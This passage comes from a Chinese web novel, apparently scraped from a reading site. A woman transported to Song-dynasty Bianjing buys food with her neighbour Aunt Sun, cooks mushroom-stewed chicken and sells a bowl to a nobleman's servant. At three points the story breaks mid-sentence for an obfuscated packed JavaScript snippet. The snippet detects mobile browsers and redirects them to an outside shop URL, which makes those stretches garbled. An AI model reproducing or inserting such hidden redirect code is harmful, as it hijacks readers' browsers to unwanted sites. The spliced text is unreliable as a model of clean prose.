虽然从这两日吃用来看，原身一个月应该也花用不了多少。 按原身这么用钱，三百贯的确能花用个五年，可她终究不是原身呀，她可没办法日日清粥小菜的，还吃的那么少。 要知道，她虽腼腆内向，食量却一点不小，这两顿不过是因为不好吃罢了。 孟嫣再一次忍不住想：箱笼里那三百贯铜钱若都是银子该多好？她就可以躺平的更久些了。 可孟嫣又觉得自己应该知足，穿越成一个有房有钱的市井百姓其实也还不错。 若是穿成高门贵女，先不说有没有所谓的宅斗，就说挂画焚香、插花点茶，她又会哪个？ 再者，单就说礼法这一块，就能把一个现代人束缚的死死的，更不用说她这个脑子去宅斗了，估计刚穿过来就死回去了，当然也可能死别处去。 若是穿成一穷二白之人，这开局就面临生活危机，像她这般软绵之人，只会更加艰难。 好在，现在这样的开局能让她躺平摸索一阵子，让她慢慢去适应这个陌生的环境，何况还有个人不错的孙婶婶照顾她已经很幸运了！ 这样想着，孟嫣又露出笑容，背着两斤多重的铜钱出门了。 西边隔壁就是孙婶婶家，大门正敞开着。 孟嫣站在门外朝里张望，孙家院子要小上许多，院子虽陈旧却十分干净整齐。 正当孟嫣犹豫是在外面等还是进去时，孙婶婶已经出来了。 见到孟嫣等在门外就快走了两步，行到孟嫣面前方笑着道：“咱们先去鸡鹅行去挑只鸡，好给小娘子做药膳，去晚了肥鸡都被挑走了，然后我再带小娘子四处逛逛。” 孟嫣点头：“都听婶婶的。” 孙婶婶又问：“小娘子可有什么要添置的？咱们汴京城里可齐全着呢！” 孟嫣却摇了摇头。 添置东西什么的，还是等她熟悉了之后再说吧。 孙婶婶：“那回头我带小娘子就随意逛逛，兴许就看见了什么娘子喜欢的。” 二人沿着小甜水巷一路向西先去了鸡鹅行。 现在距离晨钟过了也没多长时间，鸡鹅行已经有许多人来采买了，行户和伙计一边扬声吆喝一边按客人要求宰鸡杀鹅，切块切片，甚至剔骨切成细丝肉糜都可以，服务可谓十分周到细致。 鸡鹅行旁边还有那养了狗的人家，等着要一些丢弃的鸡鹅肠肚回去喂狗。 最后孟嫣和孙婶婶花了六十文买了一只鸡，宰杀退毛后没让伙计剔骨或切块，伙计便直接将鸡用荷叶包上，又用草绳系好递了过来。 二人拎着鸡从鸡鹅行出来，却见许多人都往南边去了。 孟嫣问是何故。 孙婶婶先指着南边高大恢弘的建筑给孟嫣看，然后才道：“那里是相国寺，每月在朔、望两日，还有逢三、逢八就会有集市，场面盛大堪比庙会，今日正好是九月最后一次开市。” 孙婶婶见孟嫣目不转睛地望着那边，似是也想去瞧瞧的意思，就劝阻道：“那里人太多，小娘子身子现在不好往那去，不如等身子好些再说？” 孟嫣自小安静，不好热闹，只不过没见过古代的集市庙会，一时好奇罢了。 听孙婶婶这么说，就顺势点了点头。 孙婶婶就笑道：“那我带娘子去北边的铺子转转，那边也有许多得趣的地方。” 孟嫣倒是觉得先不必去北边的铺子，单就小甜水巷里就有许多食店，够现在她这副身子看一阵了。 何况那些食店里飘出的饭食的香味，勾的她的胃有些意动。 只是她本就不擅长说出拒绝的话，只好跟着孙婶婶朝北走去。 还没见到铺子，就先闻到了一阵酒糟的香气，里面还夹杂着丝丝甜酸，似是还有若有若无的清辣味道。 随即一家店门十分气阔的糟姜铺子映入眼帘。 糟姜在宋朝十分流行，甚至还曾作为进贡朝廷的贡品。 可在现代说起糟姜，最先想到的是用糟辣椒腌制的，而在这个时候的糟姜却是用酒糟。 铺子里飘来的糟姜气味太过诱人，孟嫣忍不住想买些来尝尝，毕竟是风靡宋朝的下酒菜之一，便同孙婶婶进了铺子。 铺子里和鸡鹅行一样热闹，足以见得糟姜在这里受欢迎的程度。 二人刚一进店，一名伙计就十分热情地迎了上来，这让孟嫣有些不适应。 刚刚在鸡鹅行，孙婶婶只让孟嫣远远站在一边，全程都是她同伙计讲挑哪只鸡又处理成什么样。 现在这名伙计却站在二人面前，口齿流利地介绍着铺子里的糟姜怎么卖，瓷瓮、陶罐、竹筒、荷叶等各式包装起来的糟姜分别有多少，价格又如何，哪一种适合送人，哪一种又适合自家吃。 她已经许久没去实体店买东西了，面对热情的伙计明显有些无措。 好在孙婶婶先一步开了口，和铺子伙计说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16926578|192745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要买五文钱自家吃的糟姜，最后伙计麻利地用荷叶包好了一份，递了过来。 出了铺子，孟嫣忍不住轻笑起来，无论是鸡鹅行还是糟姜铺子，其实都是她许久不曾见过的市井烟火。 现代的线上的确能解决绝大部分生活问题，于她这样的性子确实有不少便利之处，却也将她这样的人困在了机械冰寂的一隅孤城。 孟嫣朝前方望去，人潮熙攘，商贩穿梭，写着粥、饼、羹的商铺门前冒着涓涓白气。 孟嫣弯起眼睛，笑出两弯月牙，正想给自己定个什么积极向上的目标时，就听见不远处一道声音：“午前去食店再买一道炒鸡蕈，用来给郎君下酒。” 孟嫣循声望去，竟然是昨日那个扒着墙头长相讨喜的男子，他身边还有一个和他衣着服饰相似的人，想来也是那个倨傲男人的随从。 林檎也看见了孟嫣，朝孟嫣灿烂一笑就朝别处去了。 瞬间，孟嫣什么积极向上的目标都通通消散，脑中只留下了“鸡蕈”二字。 这个时候菌菇都称之为“蕈”，鸡蕈，即鸡枞。 孟嫣望向那二人消失的方向，灵机一动。 她暗暗瞄了眼孙婶婶手里提着的鸡，小声问道：“婶婶，今日这只鸡我来做可好？” 孙婶婶一听立时拒绝道：“这怎么可以？小娘子既然付了银钱给我，自然由我来照顾娘子饮食。” 孟嫣可怜巴巴道：“可是我想吃阿娘做的山蕈炖鸡了？” 山蕈炖鸡，其实就是东北的小鸡炖蘑菇。 孟嫣之所以没直接说这道菜名的现在叫法，无非是这个时候通常称菌菇为“蕈”，鲜少称之为“蘑菇”。 果然，孙婶婶讷然，却没妥协：“可是郎中说，你用些药膳身子才会好的快一些。” 孟嫣钻这话里的空子：“郎中只说用药膳身子好的会快一些，也没说要日日都用，这药膳……不如我明日开始再用？” 孙婶婶沉默一瞬，终究松了口：“好吧，今日就先不吃药膳，明日再开始吃，但这只鸡还是我来做。” 孟嫣一听，立即乖巧点头，得逞一般眼睛又弯了起来。 孙婶婶却忽而带着几分迟疑道：“只是你阿娘做的山蕈炖鸡要如何做？我倒是知道山蕈炒鸡的做法，就是不知和娘子说的是不是一道菜，并且也不知能不能和你阿娘做出一样的味道来。” 孟嫣要的就是这句话。 这时候的鸡的做法通常是煎、炒、炙、蒸、煨，至于再多的做法或许有，极可能还没普及开来。 她梨涡浅浅，道：“今日我来做这道菜吧，婶婶给我打下手如何？” 孟嫣话落，孙婶婶有几分诧异，没想到这孟小娘子竟是真的要做菜，不是说说而已。 只是她会做吗？ 自孟小娘子来汴京开始，就没见她起过灶。 最开始是在外面买来吃，后来病了后才请她来照顾她的饮食。 何况，就孟小娘子这身气韵，怎么看都不像是会做菜的。 孙婶婶将信将疑，心底虽泛嘀咕，却还是点了点头。 大不了到时候她在旁边补救罢了。 孟嫣见孙婶婶答应，便和孙婶婶去了干货铺子，在里面买了榛蘑以及黄耳蕈，就是黄木耳，又去香药铺子买了花椒八角等一些香料以及在小商贩那里买了菠菜。 这才喜滋滋地回了小甜水巷的小院。 5. 山蕈炖鸡 孟嫣和孙婶婶将买回来的食材放进厨房，然后孟嫣似是才想起什么似得说道：“婶婶，咱们忘记买油盐酱醋了，恐怕得从你家借些来……” 这是孟嫣故意没买的。 昨日孟嫣去厨房翻找打开箱笼的钥匙时，见厨房一应锅具倒是齐全，就是没有油盐酱醋这些调料。 刚刚若是一道都买了齐全，这不就是明说了今后要自己煮饭的意图吗？不就是间接说孙婶婶做的饭菜不好吃吗？ 虽然孙婶婶做饭不好吃是事实，可孟嫣也做不到直接说出来。 果然，孙婶婶没多想，还道：“小娘子只做这一回，犯不着买这些，小娘子稍候，我就取来。” 说完就出了院子。 孙婶婶去取调料的功夫，孟嫣先将榛蘑和木耳用温水泡上，再准备将鸡砍切成块。 刚起刀，孙婶婶就回来了。 见此先将调料罐子放下，立即过来道：“小娘子告诉我要怎么做，我来做。” 孟嫣也觉此时的自己力气不太够，便将刀交给孙婶婶，告诉她切成块即可。 切完后，将鸡肉洗净沥干，等蘑菇泡发洗好就可以炖鸡了。 这会儿孟嫣就将那份荷叶包裹的糟姜装到了碟子里，浅尝了一口，入口甜酸，又有极其细微的一丝辛辣，之后就是酒糟的甘香。 的确是下酒解腻的爽口小菜。 想来糟姜能在大宋流行，与宋人爱酒脱不开关系。 孙婶婶却没闲着，又去将菠菜洗好，葱姜切好，又将粳米放入甑中蒸上，顺便还为孟嫣煎了药。 孟嫣喝完药，榛蘑泡发的也差不多了。 锅中倒油，油热倒入沥好的鸡肉，“滋啦”一声，鸡肉在锅中溅起热闹的油花。 孙婶婶一边看着灶上的火，一边看向锅里，再看向动作娴熟的小娘子，一时目瞪口呆。 锅里的鸡肉已经炒至金黄，孟嫣又加入葱姜八角等香料，又翻炒几下，鸡的鲜香混合着香料的浓厚香味瞬间升腾而出。 孙婶婶还是一副目瞪口呆的神色，却也不由自主地咽了咽口水。 东边隔壁的林檎刚将食店伙计送来的炒鸡蕈摆上桌案，瞬时一阵鲜香扑鼻而来。 他面露疑惑，这次的炒鸡蕈怎么这么香？ 林檎俯身凑近，却不是他鼻尖闻到的鲜香味道。 他站起身来，皱着鼻子四处闻，最后循着味道走到了外面，却见自家侯爷正立于西墙之下，仰首闭目。 那鲜香的味道正是从孟家女的院子飘散而来。 而孟嫣此时正在将泡发榛蘑的水倒入锅中，可以使鸡肉更鲜，之后仅加入少许盐和酱油，盖上锅盖，炖煮上两刻钟。 趁着这个功夫，孟嫣又将木耳菠菜焯水，用时下常用的调料——芥辣，拌了道芥辣木耳菠菜，就是少了一味油炸花生。 对于花生，孟嫣就没办法了，这时候花生可能还没传过来。 孙婶婶已经从目瞪口呆中回神，神色复杂地看着孟嫣。 孟嫣已经再次打开锅盖，将榛蘑悉数下到锅中，没多一会儿，本就鲜香的味道里多了一道菌菇的山野之鲜。 孙婶婶欲言又止道：“小娘子……” 孟嫣被香的弯起了眼睛：“婶婶，怎么了？” 孙婶婶嘴张了几次，终于叹道：“这几个月……委屈娘子了。” 孟嫣却道：“婶婶这是何出此言？若是没有婶婶照顾，阿嫣的命都不知还在不在，我感谢婶婶还来不及呢。” 孟嫣并非敷衍之言，而是真心这么觉得。 有孙婶婶的照顾，原身才得以撑了数月之久才离去。 而她穿过来，也是因为有孙婶婶在，她才不至于两眼一抹黑。 孙婶婶却觉得当不起孟嫣这翻话。 几翻犹豫后，她道：“小娘子，下月开始，付给我的银钱减一些吧，吃用也别再另给了，婶婶拿着娘子给的这些钱，心里亏得慌。” 孟嫣却问：“平日里婶婶也都是一个人用饭吗？” 孙婶婶不明白孟小娘子为何问起这个，不过还是如实道：“还有我家二郎。” 说到这个二儿子，孙婶婶又叹气道：“我家二郎原本在庆远酒楼卖酒，因得罪了酒楼掌柜的外甥，就被赶了出来，现在只能在咱们这附近提瓶卖些茶饮，顺便帮人送个消息传个话什么的得些跑腿钱。” 孙婶婶的二儿子原来竟是个酒博士。 酒博士不仅仅只卖酒，更要董酒，这味酒搭配哪道菜？冷吃还是热吃？入口如何？饮后又如何？ 里面都是学问。 另外，宋朝的酒楼分为正店和脚店，若是顶级正店里的酒博士，每月的月钱可达八九贯，普通正店里的酒博士每月也有四五贯钱，另外还有客人可能会给一些赏钱，一个月的收入十分可观。 而现在孙家二郎只能做个卖茶饮的小商贩，好的情况一日才能入个二百文，但若算上天气好坏、水茶、炭火、市利钱等成本，一个月能入三贯钱已经是很多了。 所以，孙婶婶昨日说的“给了我们不少方便”，怕是还包括原身请她照顾自己这件事。 孟嫣没问孙婶婶家还有什么人，她不是多事的人，孙婶婶既然没说，只怕是不想提。 她问孙婶婶是不是一个人吃饭，是想和孙婶婶搭个伙，毕竟现在没有冰箱，锅灶又大，哪怕她食量再大，一个人也吃不了一锅山蕈炖鸡，如此，再多两张嘴也没什么。 何况做饭最费功夫的是什么？自然是煮菜之前的洗、切等的准备。 她又不爱洗碗，这样她只负责做菜，之前的洗、切，之后的洗碗都可以交给孙婶婶来做，根本费不了她什么功夫。 何况从今日买鸡买菜的花用来看，只用在吃上的话，一个月三贯钱足够了，何况若是买其他肉鱼，只会比鸡更便宜。 孟嫣：“婶婶无需觉得心亏得慌，今后我还是要请婶婶照顾的，屋宅房舍的清扫，被褥衣物的浣洗，每日的提水烧水，煮饭做菜的采买、洗菜、切菜，饭后的洗碗洗锅，都还要劳烦婶婶，我只将婶婶备好的米粮菜肉烹煮一翻，着实费不了什么神。” 孙婶婶一听，依旧觉得亏心，小娘子这里又不是像那高门富户，宅子大，人口多，在这里做这些哪里值当三贯钱？ 欲要再说，就听孟嫣又道：“如果婶婶还是觉得这样不妥，那从下个月起，每月我就少给婶婶一贯钱，然后婶婶和婶婶的儿子都来这边用饭，如何？” 孙婶婶觉得这样可以，但是还要来这边吃人家的就不妥了，正要再次张嘴，孟嫣却又道：“我一个人吃饭，总归吃不了太多，婶婶若是不过来，我岂不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16926579|192745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日日都要浪费许多饭食？” 孙婶婶忽而朝还不断飘着香味的锅灶看去，情不自禁咽了咽口水。 这么香的饭菜浪费掉，是挺可惜。 孙婶婶就妥协了。 孟嫣见此，又笑了起来。 没想到在糟姜铺子前面的灵机一动还真有用，这样一来，她日日可以吃的顺口，还不用做家务了。 再过些时日，等她身子好些，就先把小甜水巷里的食店吃上一遍，这样连自己煮饭都省了。 孟嫣越想就越美滋滋。 此时，山蕈炖鸡可以出锅了，孙婶婶也一扫刚刚纠结复杂的心境，眉开眼笑地奔向了锅灶。 孟嫣则去取碗筷。 等饭食都已上桌，孟嫣道：“婶婶去叫二……孙二哥过来一起用饭吧。” 孙婶婶却摆了摆手：“什么孙二哥，娘子叫他孙二就行。二郎他吃相不好，怕扰了娘子，我盛了一碗给他，现下送过去就成，娘子先用。” 说完已经提起食盒兴冲冲朝门外走去。 孟嫣摇头失笑。 那孙二郎怕不是什么吃相不好，是孙婶婶担心自己一个孤女，今后若是常和外男一起吃饭，男未婚女未嫁的，容易被人说闲话。 不过这样也好，有外人在，她吃的也不自在，而对于孙婶婶，经过今日一遭，她已经拿她当长辈看了。 正想着，院门被敲响，应该不是孙婶婶回来了。 孟嫣起身出了屋子，径直走到院门，打开，却见是隔壁那个讨喜的男子。 男子先朝孟嫣一礼，笑着道：“小娘子安好，小的林檎，就住娘子隔壁，我家郎君闻到娘子家的饭菜甚香，特差小的来向娘子讨上一碗，价钱任凭娘子开口，绝对不让娘子吃亏。” 孟嫣缓缓眨了眨眼，又眨了眨眼。 她本打算躺平一阵子再寻思赚钱的路子，谁承想今日不过做了个小鸡炖蘑菇，就有人用银子来买了？ 孟嫣心下一乐，送到眼前的银子，哪有不要的道理？ 她让林檎稍等，快步地去厨房盛了满满一大碗，交到林檎手里后，思考着这一碗该要多少钱合适。 只是还没思考出个结果，林檎已经将十两银子塞到孟嫣手里，朝孟嫣道谢后，步履如飞地回了隔壁。 孟嫣看着手里的银子有些呆愣，十两银子，十贯钱！够买百十只鸡了！ 真不知隔壁那人是财大气粗还是预支了下顿的饭钱。 她朝隔壁大门看了一眼，将银子收好，大不了下次再做什么合隔壁胃口的菜，送一碗去就是了。 孟嫣前脚回来，孙婶婶后脚就进了院子，二人这才坐下用午饭。 鸡肉炖的酥烂脱骨，轻轻一咬，混着菌香的肉汁在口中溢散开来，榛蘑吸饱了鸡汁，软糯中带着点韧劲，一口下去尽是山野鲜味。 在这秋末吃上一碗，真是格外满足。 只是，孟嫣此刻才记起自己已经换了身体，刚吃了两块鸡肉，几口蘑菇，外加半碗粳米饭，就已经吃不下了。 孟嫣望鸡兴叹，却毫无办法。 孙婶婶倒是吃了个肚圆。 饶是如此，还是有小半锅没吃完。 好在现在天气不热，可以留作晚饭，孟嫣就让孙婶婶都带了回去，她这副身子，还是得循序渐进才是。 6. 厕纸厕纸 就在孟嫣望鸡兴叹时，萧遇却吃的十分满足。 府中厨娘不是没把山蕈和鸡放一起煮过，不过都是将其放入瓷瓮慢慢煨煮，虽也汤鲜味美，却少了一味醇香。 自然，也有食店将二者一起炒制，滋味却单调了许多。 而今日这道山蕈和鸡的做法，却让鸡中有山蕈之鲜，山蕈又有鸡的肉香味，两相融合，相得益彰，恰到好处。 没想到病歪歪数月之久的孟小娘子竟有如此好的厨艺，就是不知这道菜叫什么。 萧遇便问了林檎。 林檎此刻正委委屈屈地望着自家主子。 他和戍安虽是侯爷的长随，侯爷对他们却十分好。 平日里有什么好吃的东西，哪次不是赏给他们大半？ 这次却一块肉都没给他们吃！ 他本以为侯爷能留个汤汁给他尝个鲜，谁承想最后竟然连汤汁都没留！都用来泡了蒸饼了！ 现在听侯爷问这道菜的名字，他哪里知道？ 当时只想着快点回来尝尝，哪里还记得问什么名字？ 刚想幽怨地回上一句“小的不知”，突然眼睛一亮。 林檎：“小的这就去问问。” 说完风一般地出了宅子，随即就敲响了孟嫣的院门。 孟嫣正在写要置办的东西，将养身子这些时日，要自己开火煮饭，柴米油盐酱和醋，自然要置办齐全。 当然，还有最重要的一样东西，就是厕纸。 现代时，孟嫣偶然看过古人如厕的介绍，知道宋朝及以前如厕大部分都用厕筹。 厕筹，即削成薄片的木片或竹片，上至士大夫阶层，下至平民百姓，多数都会用。 只不过士大夫阶层所用厕筹选用像青竹、楠木、杉木这些，还会将竹片或木片打磨光滑，边缘处理圆润，甚至还用香药浸泡，并且会循环使用。 百姓就没这么讲究了，什么毛竹、杂木，只要没有刺，能用就行。 更有甚者，随地取材，手边有什么用什么，只要不花钱就行。 帝王皇室和一些高门富户或许会用丝帛等物，不过也和厕筹一样，都是用过再洗，洗过再用，同样循环使用。 这也是孟嫣昨日刚穿过来就对厕所忧思甚重的原因。 只是不知是这副身子的缘故，还是她刚穿越过来对周遭环境有着本能的警惕，昨日整整一下午，只睡前有些许尿意，自然没想起厕纸一事。 而今日，直到用过午饭才又有了些微尿意，如厕时也是猛然才想起此事。 她不知原身用的什么，西耳房的净室和浴间，并没见到任何类似厕筹的东西。 或许是原身也讲究，用布帛之类，还或许……厕筹用完了。 但这都不重要，重要的是现在，她要趁着屎意未至，先将厕纸解决。 于是孟嫣在所列单子的最后，写上了大大的“厕纸”二字，免得忘了。 等歇晌后，请孙婶婶带她去布店和纸铺看看，各种布和各种纸的质地如何？价格又如何？ 定要挑选出个肤感舒适、性价比最高的来做厕纸之用。 这边刚写完，院外就传来一阵急促的敲门声。 孟嫣放下笔，疑惑地朝外走去。 开门一看，竟又是林檎。 孟嫣：“林小郎君何事？” 不会是也意识到中午给的银子给多了吧？ 林檎拱手一礼，先客套一句：“小娘子可在忙？” 孟嫣也客套道：“没有。” 林檎笑容满面：“不知中午那道山蕈和鸡还有没有？我家郎君觉得味道甚美，一碗吃完后只觉意犹未尽，还想再吃一碗。” 原来是想再吃一碗啊！要是你早来一步，就不都给孙婶婶带回去了。 孟嫣只好遗憾地说都已经吃完了。 林檎的笑容瞬间垮了，整个人看上去都丧眉搭眼的。 孟嫣心有不忍，道：“不如我把做法写与林小郎君，林小郎君自可回去做来。” 林檎一听，立刻又笑容满面，连忙道谢。 孟嫣请林檎去了堂屋，铺开一张新纸，正要提笔蘸墨，就听林檎惊叹：“小娘子的字……还真是……妙啊！” 孟嫣抬头，就见林檎正拿着她刚写完的那张要置办东西的单子。 孟嫣面色微赧，其实不用硬夸的。 就她写的那几个字，一个横就波澜起伏，一个竖就妖娆妩媚，就更别说一撇一捺点勾折了，都是各有各的舞法。 孟嫣腼腆笑笑，不知还要不要继续下笔。 林檎终于机灵道：“小娘子念来，我写。” 孟嫣腾出位置给林檎，从旁缓缓将做法说出。 林檎飞速地写着，直到孟嫣说完最后一个字，他也落下最后一笔。 孟嫣觑向纸面，字也没有好看到哪去，不过的确比她写的强多了。 林檎将墨渍吹干，如得到了什么密信一般折好收在胸前的口袋里，笑逐颜开再次道谢，之后又道：“小娘子放心，这道菜只给我家郎君做来吃，方子不会外传，若娘子想卖方子，尽管卖就是。” 孟嫣只是笑笑，她暂时还没考虑赚钱一事。 自然，送上门的钱除外。 何况大宋自铁锅普及以来，各种烹饪方法层出不穷，菜肴已经多到数不胜数。 而这道菜不过是寻常的炖鸡而已，只要精通厨艺的人略微琢磨，就能做出来。 林檎正要告辞，却又瞥见被他夸“妙”的那张纸，他拿起又细细看了一遍，问：“小娘子是要置办这些？” 孟嫣点了点头。 林檎笑道：“我去帮娘子办来，权当谢娘子这张方子。” 孟嫣刚想说不用，林檎已经大步出了院子。 只是没多一会儿，院门又一次被敲响。 听这敲门的节奏，不出所料，还是林檎。 林檎站在院门外，讪笑着问：“忘记问小娘子了，这道菜叫何名字？” 原来是问菜名。 孟嫣眼睛也不眨：“山蕈炖鸡。” 林檎拱手：“多谢小娘子。” 说完风一般地回了隔壁。 孟嫣张了张嘴，想说不劳烦他置办东西，只是林小郎君的影子都不见了。 孟嫣只好回了院子。 “忙”了一上午，孟嫣这副身子感到有些疲累，便回东次间小憩。 同时，心里也有几分忐忑，不知这林小郎君看见单子最后的“厕纸”二字，会给她买回来个什么。 那边林檎回了宅子后，先将这道菜的名字告知自家侯爷，然后神神秘秘拽着戍安去了厨房。 从怀里拿出写有这道菜的方子，放到戍安手里，搓了搓手道：“今晚就有劳戍安兄了。” 戍安将折起的纸打开，快速扫了一眼，没说话，而是看向厨房门口。 林檎随着目光望去，却见自家侯爷不知何时站在了那里。 林檎狗腿地快步走到萧遇面前，丝毫不见刚刚的委屈幽怨，讨好般地笑呵呵道：“侯爷，晚上让戍安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16926580|192745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也做山蕈炖鸡？孟小娘子给了咱们方子。要说这孟小娘子真大方，我一说郎君还想吃，小娘子就……” “你手里这张是什么？”萧遇打断林檎的喋喋不休。 林檎这才想起手里还有一张。 先“哦”了一声，笑呵呵道：“小的寻思着，也不能白拿孟小娘子的方子，正好她要置办些东西，小的就打算顺便帮她置办了。” 说着将纸展开在萧遇面前。 萧遇这才看清纸上是什么，眼皮狠狠地抖了抖。 这孟小娘子怎么说也生在殷实之家，字何至于写成这样？连稚子小儿都不如。 萧遇又扫过纸上内容，却发现这孟小娘子不止字丑，一些字还写错了，少写了许多笔，倒是能猜出来是何意。 直到看到了最后的“厕纸”二字，眼皮又狠狠地抖了抖。 字丑不说，还写那么大做什么？这是要在纸上盖茅房不成？ 萧遇只觉污眼，简直有碍观瞻，丢下了一句“快去办”，就速速离开了厨房。 林檎则高兴地“哎”了一声，然后朝戍安挤了挤眼睛，道：“方子你收好，我去买鸡和山蕈来！” 说完又风一般地出了门去。 孟嫣这一觉睡的并不踏实，醒来时，外面落起了雨。 这秋末的雨竟是这般飘忽不定，昨日刚下过，今日又下。 只是这秋雨每下一次，这天就冷上一分，真是应了那句“一场秋雨一场寒”。 孟嫣起身下榻，去衣橱翻找一件厚一些的外裳穿上，想着林小郎君不知有没有出门帮她置办那些东西，否则今晚她就只能吃空气喝雨水了。 还有，万一屎意也来袭…… 想到此处，孟嫣去拿了两张中午列单子用的纸。 也不知这是什么纸，写起字来软硬适中，不晕染墨渍，若是用作厕纸的话就有些硬了。 孟嫣试着能不能揉搓的软一些，总要有备无患的好。 正一点点揉搓着，院门就有了动静。 孟嫣一喜，忙撑着伞去开门，来人却是孙婶婶。 孙婶婶怀里抱着个中等大小的粗陶瓮，抱着陶瓮的这只手里还提着一只包成巴掌大小的荷叶包。 荷叶包已经被雨水打湿，看上去更加油油发绿。 另一只手撑着伞，不方便开门，这才没直接进来。 见孟嫣来开门，笑着道：“小娘子将那山蕈炖鸡都让我拿回去了，晚上定然要重新做些什么来吃，想着娘子这里缺东少西的，就先给娘子买了些米和肉臊，今晚娘子先将就着用些，等明日天晴了，我再帮娘子置办齐全。” 孟嫣感慨，孙婶婶真是思虑周全。 她赶忙让开，让孙婶婶先进来，二人一同朝厨房走去。 等将米和肉臊放好，孟嫣又道谢后，才有些不好意思地将林檎已经帮她去置办东西的事说出。 孙婶婶先是惊讶一瞬，后又谨慎问道：“隔壁的林小郎君？他为何帮小娘子？” 孟嫣又不好意思地将来龙去脉细细说了一遍。 孙婶婶这才松了口气，随即又喃喃：“十两银子啊……” 孟嫣也觉得给的太多了。 只听孙婶婶又道：“若是将方子卖到食肆酒楼，可不止十两银子，小娘子亏了。” 孟嫣：…… 孙婶婶连着说了几句“可惜”，方才准备回去。 只是还没出厨房，就听见林檎的声音从院子里传来：“小娘子——，我把你要置办的东西都送过来了。” 7. 石首桐皮面 二人一听，齐齐撑着伞出了厨房。 林檎一只手撑着伞，另一只手提了一只荷叶包和一个油纸包，孟嫣觉得十分眼熟。 上午她和孙婶婶买的鸡和山蕈就是这样包的。 转而一想就明白了，看来晚上也要做山蕈炖鸡。 林檎后面还跟着一位脚夫，脚夫穿着蓑衣戴着斗笠，胸前抱着一只用油布罩起来的大竹筐。 想来那些油盐酱醋等物都在这里了。 孟嫣忙让脚夫将东西送进厨房，又问林檎这些共花了多少银钱。 林檎却道：“小娘子不必计较银钱，这些权当是谢那张方子。” 孟嫣也只好作罢，又拿出十文钱给脚夫，让他买盏茶吃。 挑夫、脚夫这些体力劳动者本就辛苦，现在又赶上下雨，孟嫣觉得给十文钱并不多。 脚夫接过银钱后笑的嘴角都咧到了耳朵根，还让孟嫣下次若有什么挑运之类的行当再找他来，却被孙婶婶毫不客气地请走了。 脚夫走了后，林檎也兴冲冲要告辞离开，却被孙婶婶叫住。 林檎自然知道这位孙家妇人，他还觉得这孙家妇人和她那儿子定然也图谋孟家留下的财宝，这才接近孟小娘子。 所以，他也安排人盯住了孙家母子，免得她二人谋害了孟小娘子，或者将孟小娘子还活着的消息散布出去。 好在这孙家母子一直本本分分，并未露出什么歪心思，也从不曾打听过那财宝的下落。 故而，林檎面对孙家妇人时，脸上的笑虽敛了几分，却也十分客气。 林檎：“这位娘子，可还有什么事？” 孙婶婶从林檎进门就一直暗暗观察，见其虽身穿仆从规制的衣衫，却也是锦缎材质，想来不是什么普通富户，便问：“看林小郎君周身的气派，不像寻常府中出来的，敢问你家主君尊姓？又在何处当差理事？” 林檎一本正经胡诌道：“我家主君姓吴，刚从南边进京，还未曾授官。” 孙婶婶暗道这人可真会瞎说八道，明明一点南人口音都无，还说从南边来的。 却也知道这等官宦富贵人家各有规矩，便不再多问。 林檎离开后，孙婶婶将放入厨房的东西归置一翻，只留下一只绢布包没动，这才告辞离开。 孟嫣提着这只绢布包回了东次间，在屏风前的榻上落座后，将绢布包打开，里面是一只漆红长形木盒。 木盒长约一尺，宽不到半尺，上面由右至左刻了两列字：一腔积尘皆泻尽，两腋清风几欲仙。 简言之，就是祝你拉屎顺畅，身轻飘飘似神仙。 孟嫣抽了抽眼角，古人还真是……风趣。 打开木盒，里面赫然躺着十几根木质长片，每根约拇指来宽，长度比木盒短上寸许，边缘打磨的光滑圆润。 都不用问，这定然就是传说中的厕筹了。 果然，厕筹是这个时候如厕净臀的共识，否则那张单子上虽写了“厕纸”二字，林小郎君却也买了厕筹不是？ 孟嫣拿起一根，细细观看，上面木质纹理清晰可见，在厕筹的一端还以小字刻着“净”。 孟嫣再一次抽了抽眼角。 这是说用这个刮的干净还是提醒使用者要刮干净？ 孟嫣将其放回盒内，还是束之高阁吧。 有些事情可以入乡随俗，有些还是……免了吧。 虽然她也知道现代的厕所革.命、厕纸全民都能用也不过才几十年时间，她还是依旧要保持现有的习惯，明日去布店、纸铺看看。 孟嫣将长形木盒重新包好，放在不起眼的角落，奔向堂屋书案，继续搓纸。 不知过了多久，一阵山蕈炖鸡的味道从窗子飘了进来，孟嫣看看天色，到了用晚饭的时间了。 外面的雨已经停了，孟嫣手里的纸也搓的软了不少，可以应个急。 孟嫣将纸放在书案，起身朝厨房走去。 她也要为自己准备晚饭了。 厨房里，已经被大瓮小罐填满了不少，只是看着冷锅冷灶，还有堆放在窗下的干柴，依旧觉得少了一丝人气。 